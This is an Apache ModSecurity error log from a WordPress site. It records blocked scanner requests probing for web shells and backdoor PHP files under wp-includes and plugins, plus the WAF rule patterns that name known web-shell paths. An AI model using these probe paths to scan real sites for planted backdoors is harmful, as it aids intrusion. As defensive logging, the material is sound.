[Sat Nov 22 06:56:38.035207 2025] [:error] [pid 53477:tid 53496] [client 31.171.130.93:58655] [client 31.171.130.93] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/wp-conflg.php"] [unique_id "aSDuJn7Lu30Ku9O40aIGkgAAAA8"]
[Sat Nov 22 06:56:38.370220 2025] [:error] [pid 53477:tid 53494] [client 212.116.231.26:60586] [client 212.116.231.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/envato-css.php"] [unique_id "aSDuJn7Lu30Ku9O40aIGmAAAAA0"]
[Sat Nov 22 06:56:39.204094 2025] [:error] [pid 9547:tid 9557] [client 212.116.231.26:32826] [client 212.116.231.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/dist/"] [unique_id "aSDuJ9ClOR5qk7DoMeGlOQAAAUQ"]
[Sat Nov 22 06:56:40.039671 2025] [:error] [pid 53479:tid 53540] [client 212.116.231.26:47700] [client 212.116.231.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/dist/"] [unique_id "aSDuKG6cicFF3Aas-oShRAAAAIQ"]
[Sat Nov 22 06:56:40.855124 2025] [:error] [pid 53478:tid 53528] [client 212.116.231.26:48128] [client 212.116.231.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/dist/"] [unique_id "aSDuKAhUYdXBbQswAdQ_0gAAAFM"]
[Sat Nov 22 06:56:41.687149 2025] [:error] [pid 53478:tid 53514] [client 212.116.231.26:48548] [client 212.116.231.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/dist/"] [unique_id "aSDuKQhUYdXBbQswAdQ_6gAAAEU"]
[Sat Nov 22 06:56:42.501445 2025] [:error] [pid 25856:tid 25869] [client 212.116.231.26:48982] [client 212.116.231.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/dist/"] [unique_id "aSDuKhsTP0wy94zKUvHnOAAAAQs"]
[Sat Nov 22 06:56:56.096015 2025] [:error] [pid 9547:tid 9573] [client 31.171.130.69:56079] [client 31.171.130.69] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 31.171.130.69, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-login.php"] [unique_id "aSDuONClOR5qk7DoMeGmUAAAAVQ"]
[Sat Nov 22 06:56:57.921066 2025] [:error] [pid 9547:tid 9567] [client 31.171.130.69:56079] [client 31.171.130.69] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/modules.php"] [unique_id "aSDuOdClOR5qk7DoMeGmVQAAAU4"]
[Sat Nov 22 06:57:04.734990 2025] [:error] [pid 53477:tid 53489] [client 31.171.130.83:61585] [client 31.171.130.83] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/codeboy1877_up.php"] [unique_id "aSDuQH7Lu30Ku9O40aIHjAAAAAg"]
[Sat Nov 22 06:57:22.578444 2025] [:error] [pid 53566:tid 53590] [client 31.171.130.72:48357] [client 31.171.130.72] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/lx.php"] [unique_id "aSDuUsbSHDBkRbwMbd5olAAAANY"]
[Sat Nov 22 06:57:50.477014 2025] [:error] [pid 53477:tid 53487] [client 31.171.130.88:23881] [client 31.171.130.88] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/F0x.php"] [unique_id "aSDubn7Lu30Ku9O40aIH8wAAAAY"]
[Sat Nov 22 06:57:56.649474 2025] [:error] [pid 25856:tid 25863] [client 49.7.227.204:45640] [client 49.7.227.204] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aSDudBsTP0wy94zKUvHo8wAAAQU"]
[Sat Nov 22 06:58:07.087200 2025] [:error] [pid 53566:tid 53590] [client 31.171.130.61:51137] [client 31.171.130.61] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/IXR/index.php"] [unique_id "aSDuf8bSHDBkRbwMbd5o3gAAANY"]
[Sat Nov 22 06:58:08.013876 2025] [:error] [pid 9547:tid 9563] [client 31.171.130.56:29613] [client 31.171.130.56] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 31.171.130.56, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "aSDugNClOR5qk7DoMeGm1QAAAUo"]
[Sat Nov 22 06:58:09.401088 2025] [:error] [pid 9547:tid 9553] [client 31.171.130.56:29613] [client 31.171.130.56] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/pwnd/pwnd.php"] [unique_id "aSDugdClOR5qk7DoMeGm3gAAAUA"]
[Sat Nov 22 06:58:15.265442 2025] [:error] [pid 53477:tid 53502] [client 31.171.130.99:30675] [client 31.171.130.99] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Requests/about.php"] [unique_id "aSDuh37Lu30Ku9O40aIIGwAAABU"]
[Sat Nov 22 06:58:25.300312 2025] [:error] [pid 53477:tid 53498] [client 31.171.130.76:27807] [client 31.171.130.76] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/index.php"] [unique_id "aSDukX7Lu30Ku9O40aIINAAAABE"]
[Sat Nov 22 06:58:27.622654 2025] [:error] [pid 53566:tid 53580] [client 31.171.130.100:23639] [client 31.171.130.100] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/fonts/index.php"] [unique_id "aSDuk8bSHDBkRbwMbd5o6wAAAMw"]
[Sat Nov 22 06:58:28.544891 2025] [:error] [pid 9547:tid 9561] [client 31.171.130.95:39561] [client 31.171.130.95] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/about.php"] [unique_id "aSDulNClOR5qk7DoMeGm6AAAAUg"]
[Sat Nov 22 06:58:29.459256 2025] [:error] [pid 53566:tid 53591] [client 31.171.130.65:41409] [client 31.171.130.65] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/about.php"] [unique_id "aSDulcbSHDBkRbwMbd5o7gAAANc"]
[Sat Nov 22 06:58:31.880676 2025] [:error] [pid 25856:tid 25882] [client 31.171.130.73:22919] [client 31.171.130.73] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 31.171.130.73, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/images/wp-login.php"] [unique_id "aSDulxsTP0wy94zKUvHpNwAAARg"]
[Sat Nov 22 06:58:38.572475 2025] [:error] [pid 25856:tid 25870] [client 31.171.130.73:22919] [client 31.171.130.73] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/blocks/about.php"] [unique_id "aSDunhsTP0wy94zKUvHpTwAAAQw"]
[Sat Nov 22 06:58:42.485647 2025] [:error] [pid 53479:tid 53538] [client 31.171.130.88:31093] [client 31.171.130.88] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 31.171.130.88, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/wp-login.php"] [unique_id "aSDuom6cicFF3Aas-oSiewAAAII"]
[Sat Nov 22 06:58:46.986731 2025] [:error] [pid 53479:tid 53546] [client 31.171.130.88:31093] [client 31.171.130.88] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/makeasmtp.php"] [unique_id "aSDupm6cicFF3Aas-oSigwAAAIo"]
[Sat Nov 22 06:58:47.908296 2025] [:error] [pid 53477:tid 53489] [client 31.171.130.93:24491] [client 31.171.130.93] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/about.php"] [unique_id "aSDup37Lu30Ku9O40aIIPwAAAAg"]
[Sat Nov 22 06:58:49.799886 2025] [proxy_fcgi:error] [pid 53477:tid 53501] [client 31.171.130.75:57319] AH01071: Got error 'Primary script unknown'
[Sat Nov 22 06:58:54.810411 2025] [proxy_fcgi:error] [pid 53477:tid 53494] [client 31.171.130.75:57319] AH01071: Got error 'Primary script unknown'
[Sat Nov 22 06:59:01.577119 2025] [:error] [pid 53477:tid 53497] [client 31.171.130.75:57319] [client 31.171.130.75] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/index.php"] [unique_id "aSDutX7Lu30Ku9O40aIIXQAAABA"]
[Sat Nov 22 06:59:05.390915 2025] [:error] [pid 53478:tid 53516] [client 31.171.130.76:31971] [client 31.171.130.76] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/bak.php"] [unique_id "aSDuuQhUYdXBbQswAdRBagAAAEc"]
[Sat Nov 22 06:59:06.815073 2025] [:error] [pid 53566:tid 53568] [client 31.171.130.105:28647] [client 31.171.130.105] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/wp-login.php"] [unique_id "aSDuusbSHDBkRbwMbd5pBwAAAMA"]
[Sat Nov 22 06:59:10.888674 2025] [:error] [pid 9547:tid 9554] [client 31.171.130.67:29213] [client 31.171.130.67] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "measureyourbrand.com.au"] [uri "/fm.php"] [unique_id "aSDuvtClOR5qk7DoMeGnJQAAAUE"]
[Sat Nov 22 06:59:11.838328 2025] [:error] [pid 25856:tid 25859] [client 31.171.130.78:41441] [client 31.171.130.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/customize/index.php"] [unique_id "aSDuvxsTP0wy94zKUvHpgwAAAQE"]
[Sat Nov 22 06:59:13.849155 2025] [:error] [pid 53478:tid 53523] [client 31.171.130.54:62307] [client 31.171.130.54] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 31.171.130.54, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/upgrade-temp-backup/wp-login.php"] [unique_id "aSDuwQhUYdXBbQswAdRBbwAAAE4"]
[Sat Nov 22 06:59:16.169663 2025] [:error] [pid 53478:tid 53531] [client 31.171.130.54:62307] [client 31.171.130.54] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/themes.php"] [unique_id "aSDuxAhUYdXBbQswAdRBeAAAAFY"]
[Sat Nov 22 06:59:22.370646 2025] [:error] [pid 53478:tid 53523] [client 31.171.130.77:28887] [client 31.171.130.77] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/wp-includes_function.php"] [unique_id "aSDuyghUYdXBbQswAdRBjQAAAE4"]
[Sat Nov 22 06:59:25.312339 2025] [:error] [pid 53566:tid 53583] [client 31.171.130.94:33629] [client 31.171.130.94] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/about.php"] [unique_id "aSDuzcbSHDBkRbwMbd5pFwAAAM8"]
[Sat Nov 22 06:59:27.212606 2025] [:error] [pid 9547:tid 9564] [client 31.171.130.101:48403] [client 31.171.130.101] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/codemirror/about.php"] [unique_id "aSDuz9ClOR5qk7DoMeGnNAAAAUs"]
[Sat Nov 22 06:59:30.723195 2025] [:error] [pid 53477:tid 53503] [client 31.171.130.103:31249] [client 31.171.130.103] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 31.171.130.103, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/languages/themes/wp-login.php"] [unique_id "aSDu0n7Lu30Ku9O40aIIbgAAABY"]
[Sat Nov 22 06:59:32.265947 2025] [:error] [pid 53477:tid 53502] [client 31.171.130.103:31249] [client 31.171.130.103] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/block-supports/index.php"] [unique_id "aSDu1H7Lu30Ku9O40aIIcQAAABU"]
[Sat Nov 22 06:59:33.143358 2025] [:error] [pid 53478:tid 53532] [client 31.171.130.96:57727] [client 31.171.130.96] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/about.php"] [unique_id "aSDu1QhUYdXBbQswAdRBlAAAAFc"]
[Sat Nov 22 06:59:39.395602 2025] [:error] [pid 25856:tid 25862] [client 31.171.130.85:38057] [client 31.171.130.85] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/block-patterns/about.php"] [unique_id "aSDu2xsTP0wy94zKUvHpswAAAQQ"]
[Sat Nov 22 06:59:42.184021 2025] [:error] [pid 25856:tid 25865] [client 31.171.130.68:27175] [client 31.171.130.68] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/about.php"] [unique_id "aSDu3hsTP0wy94zKUvHpugAAAQc"]
[Sat Nov 22 06:59:43.133113 2025] [:error] [pid 9547:tid 9571] [client 31.171.130.69:22505] [client 31.171.130.69] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/about.php"] [unique_id "aSDu39ClOR5qk7DoMeGnOQAAAVI"]
[Sat Nov 22 06:59:44.117351 2025] [:error] [pid 9547:tid 9569] [client 31.171.130.69:50797] [client 31.171.130.69] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/Content/index.php"] [unique_id "aSDu4NClOR5qk7DoMeGnOgAAAVA"]
[Sat Nov 22 06:59:47.114152 2025] [:error] [pid 25856:tid 25859] [client 31.171.130.67:57563] [client 31.171.130.67] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/autoload_classmap.php"] [unique_id "aSDu4xsTP0wy94zKUvHpxQAAAQE"]
[Sat Nov 22 06:59:54.278885 2025] [:error] [pid 53478:tid 53527] [client 31.171.130.53:43849] [client 31.171.130.53] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/autoload_classmap.php"] [unique_id "aSDu6ghUYdXBbQswAdRBqAAAAFI"]
[Sat Nov 22 06:59:58.375792 2025] [:error] [pid 53477:tid 53490] [client 31.171.130.53:33049] [client 31.171.130.53] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/pomo/about.php"] [unique_id "aSDu7n7Lu30Ku9O40aIIgwAAAAk"]
[Sat Nov 22 07:00:01.995224 2025] [:error] [pid 53478:tid 53516] [client 31.171.130.69:62143] [client 31.171.130.69] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/rest-api/about.php"] [unique_id "aSDu8QhUYdXBbQswAdRBtAAAAEc"]
[Sat Nov 22 07:00:04.113321 2025] [:error] [pid 53479:tid 53536] [client 31.171.130.80:60799] [client 31.171.130.80] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/IXR/autoload_classmap.php"] [unique_id "aSDu9G6cicFF3Aas-oSirAAAAIA"]
[Sat Nov 22 07:00:08.319036 2025] [:error] [pid 53477:tid 53486] [client 31.171.130.91:62221] [client 31.171.130.91] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/rest-api/autoload_classmap.php"] [unique_id "aSDu-H7Lu30Ku9O40aIIjAAAAAU"]
[Sat Nov 22 07:00:09.318775 2025] [:error] [pid 53478:tid 53530] [client 31.171.130.70:46801] [client 31.171.130.70] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/sitemaps/providers/zmFM.php"] [unique_id "aSDu-QhUYdXBbQswAdRBugAAAFU"]
[Sat Nov 22 07:00:10.825980 2025] [:error] [pid 53477:tid 53500] [client 31.171.130.67:26455] [client 31.171.130.67] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/autoload_classmap.php"] [unique_id "aSDu-n7Lu30Ku9O40aIIjwAAABM"]
